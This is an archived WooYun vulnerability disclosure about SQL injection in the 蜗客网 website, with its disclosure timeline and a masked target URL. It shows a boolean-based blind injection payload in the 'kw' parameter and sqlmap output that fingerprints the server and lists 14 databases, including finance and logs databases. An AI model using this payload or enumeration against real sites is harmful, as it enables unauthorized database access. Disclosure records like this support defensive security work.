乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-31: 细节已通知厂商并且等待厂商处理中 2015-11-04: 厂商已经确认,细节仅向厂商公开 2015-11-14: 细节向核心白帽子及相关领域专家公开 2015-11-24: 细节向普通白帽子公开 2015-12-04: 细节向实习白帽子公开 2015-12-19: 细节向公众公开
蜗客网SQL注入
.
**.**.**.**
http://**.**.**.**/list-all/?kw=1&ob=1
sqlmap resumed the following injection point(s) from stored session:---Parameter: kw (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: kw=1%' AND 8707=8707 AND '%'='&ob=1---[20:29:08] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2005[20:29:08] [INFO] fetching database names[20:29:08] [INFO] fetching number of databases[20:29:09] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[20:29:09] [INFO] retrieved:[20:29:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[20:29:09] [ERROR] unable to retrieve the number of databases[20:29:09] [INFO] resumed: db_wokew[20:29:09] [INFO] resumed: master[20:29:09] [INFO] resumed: tempdb[20:29:09] [INFO] resumed: model[20:29:09] [INFO] resumed: msdb[20:29:09] [INFO] resumed: ReportServer[20:29:09] [INFO] resumed: ReportServerTempDB[20:29:09] [INFO] resumed: AdventureWorksDW[20:29:09] [INFO] resumed: AdventureWorks[20:29:09] [INFO] resumed: db_wokew[20:29:09] [INFO] resumed: db_wokew_dbas[20:29:09] [INFO] resumed: db_wokew_finance[20:29:09] [INFO] resumed: db_wokew_tempdata[20:29:09] [INFO] resumed: db_wokew_logs[20:29:09] [INFO] resumed: db_wokew_reptile[20:29:09] [INFO] resumed:available databases [14]:[*] AdventureWorks[*] AdventureWorksDW[*] db_wokew[*] db_wokew_dbas[*] db_wokew_finance[*] db_wokew_logs[*] db_wokew_reptile[*] db_wokew_tempdata[*] master[*] model[*] msdb[*] ReportServer[*] ReportServerTempDB[*] tempdb
危害等级:中
漏洞Rank:9
确认时间:2015-11-04 15:06
暂未建立与网站管理单位的直接处置渠道,待认领。
暂无